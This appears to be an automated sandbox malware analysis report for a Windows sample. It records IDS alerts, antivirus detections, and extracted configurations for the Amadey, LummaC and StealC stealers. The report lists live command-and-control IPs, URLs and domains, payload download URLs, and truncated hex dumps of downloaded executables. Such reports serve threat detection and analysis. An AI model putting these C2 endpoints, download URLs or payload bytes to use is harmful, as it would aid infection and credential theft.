Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:08.631587+0100	2803305	3	Unknown Traffic	192.168.2.5	49977	31.41.244.11	80	TCP
2024-11-18T19:04:19.832970+0100	2803305	3	Unknown Traffic	192.168.2.5	49980	185.215.113.16	80	TCP
2024-11-18T19:04:29.085118+0100	2803305	3	Unknown Traffic	192.168.2.5	49983	185.215.113.16	80	TCP
2024-11-18T19:04:38.276920+0100	2803305	3	Unknown Traffic	192.168.2.5	49991	185.215.113.16	80	TCP
2024-11-18T19:04:46.397142+0100	2803305	3	Unknown Traffic	192.168.2.5	49995	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:40.625852+0100	2803304	3	Unknown Traffic	192.168.2.5	49989	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:39.696832+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49992	188.114.96.3	443	TCP
2024-11-18T19:05:04.308753+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50044	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/well/random.exet	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/def.exerf	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedq:	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/random.exeo	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/def.exe32	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exe43/	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/api9	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe)	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs:443/apirsion.txtPK	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000006.00000003.2686166030.0000000005690000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 51d383286f.exe.8020.8.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["3xp3cts1aim.sbs", "processhol.sbs", "p3ar11fter.sbs", "peepburry828.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}
Source: 8ab7de79e4.exe.7096.9.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 32%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	ReversingLabs: Detection: 32%
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 57%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 57%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: e5323e2eed.exe, 00000007.00000003.2835253190.00000000071A2000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_c5ee9bda-c

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50107 version: TLS 1.2

Source: chrome.exe	Memory has grown: Private usage: 0MB later: 21MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 189MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49955 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49970
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49978 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49981 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49988 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49989 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49989 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49989
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49989 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49989
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49989 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49994 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50025 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49990 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49992 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49982 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49982 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49993 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49993 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50047 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49996 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49997 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49997 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50044 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50079 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50079 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49984 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49984 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50097 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50097 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50107 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 18:04:08 GMTContent-Type: application/octet-streamContent-Length: 4362752Last-Modified: Mon, 18 Nov 2024 17:32:37 GMTConnection: keep-aliveETag: "673b7a35-429200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 60 b8 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 b8 00 00 04 00 00 65 fd 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 4b b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 4b b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 65 00 00 10 00 00 00 6c 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 65 00 00 00 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 65 00 00 02 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 37 00 00 80 65 00 00 02 00 00 00 7e 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 65 63 65 73 77 6e 70 00 f0 1a 00 00 60 9d 00 00 ec 1a 00 00 80 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 77 75 75 6e 64 76 71 00 10 00 00 00 50 b8 00 00 04 00 00 00 6c 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 b8 00 00 22 00 00 00 70 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 18:04:19 GMTContent-Type: application/octet-streamContent-Length: 1850880Last-Modified: Mon, 18 Nov 2024 17:10:56 GMTConnection: keep-aliveETag: "673b7520-1c3e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 49 00 00 04 00 00 b2 8c 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 80 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6c 66 7a 61 72 76 7a 00 b0 19 00 00 e0 2f 00 00 a6 19 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 76 62 70 6f 68 61 6d 00 10 00 00 00 90 49 00 00 04 00 00 00 18 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 49 00 00 22 00 00 00 1c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 18:04:28 GMTContent-Type: application/octet-streamContent-Length: 1799168Last-Modified: Mon, 18 Nov 2024 17:11:03 GMTConnection: keep-aliveETag: "673b7527-1b7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 f0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 69 00 00 04 00 00 34 42 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 66 75 74 6a 62 67 63 00 e0 19 00 00 00 4f 00 00 d6 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 64 6d 79 76 6c 72 75 00 10 00 00 00 e0 68 00 00 04 00 00 00 4e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 68 00 00 22 00 00 00 52 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 18:04:38 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Mon, 18 Nov 2024 17:09:10 GMTConnection: keep-aliveETag: "673b74b6-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ae 74 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 4c fa 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 